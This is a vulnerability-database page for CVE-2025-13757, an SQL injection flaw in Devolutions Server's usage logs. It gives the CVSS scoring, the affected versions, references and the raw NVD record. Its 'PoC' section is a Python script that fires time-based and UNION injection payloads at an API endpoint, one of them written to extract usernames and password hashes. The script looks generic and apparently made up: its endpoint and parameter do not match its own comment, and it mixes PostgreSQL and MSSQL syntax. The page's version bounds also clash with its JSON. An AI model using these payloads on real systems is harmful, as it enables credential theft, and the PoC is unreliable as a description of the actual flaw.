CVE-2025-13757

Description

SQL Injection vulnerability in last usage logs in Devolutions Server.This issue affects Devolutions Server: through 2025.2.20, through 2025.3.8.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE

Devolutions Server < 2025.2.20

Devolutions Server < 2025.3.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-13757 SQL Injection PoC for Devolutions Server
# Target: Devolutions Server /last-usage-logs endpoint
# Author: Security Research
# Note: This PoC is for authorized security testing only

import requests
import sys

TARGET_URL = "http://target-server/api/v1/usage-logs"

# SQL Injection payload for time-based blind SQL injection
PAYLOADS = [
    "'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--",
    "'; WAITFOR DELAY '00:00:05'--",
    "' OR '1'='1' UNION SELECT NULL,NULL,username,password_hash,NULL FROM users--"
]

def test_sql_injection():
    headers = {
        'Content-Type': 'application/json',
        'Authorization': 'Bearer <YOUR_TOKEN>'
    }
    
    for payload in PAYLOADS:
        params = {
            'filter': payload,
            'limit': '100'
        }
        
        try:
            response = requests.get(
                TARGET_URL,
                params=params,
                headers=headers,
                timeout=30
            )
            
            if response.status_code == 200:
                print(f"[+] Payload sent: {payload}")
                print(f"[+] Response: {response.text[:500]}")
            elif 'error' in response.text.lower():
                print(f"[-] Injection point detected but blocked: {payload}")
                
        except requests.exceptions.RequestException as e:
            print(f"[!] Request failed: {e}")

if __name__ == "__main__":
    print("CVE-2025-13757 SQL Injection Test")
    test_sql_injection()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13757
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13757
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13757/
[4] VulDB https://vuldb.com/cve/CVE-2025-13757
[5] https://devolutions.net/security/advisories/DEVO-2025-0018/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13757", "sourceIdentifier": "[email protected]", "published": "2025-11-27T16:15:47.117", "lastModified": "2025-12-03T14:54:08.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL Injection vulnerability in last usage logs in Devolutions Server.This issue affects Devolutions Server: through 2025.2.20, through 2025.3.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.2.21.0", "matchCriteriaId": "FE34C172-0DA3-4FDB-A94B-DF84E36EBAD6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.3.2.0", "versionEndExcluding": "2025.3.10.0", "matchCriteriaId": "A41D04CB-BDA3-4E90-8CBD-07E6E806F10C"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2025-0018/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}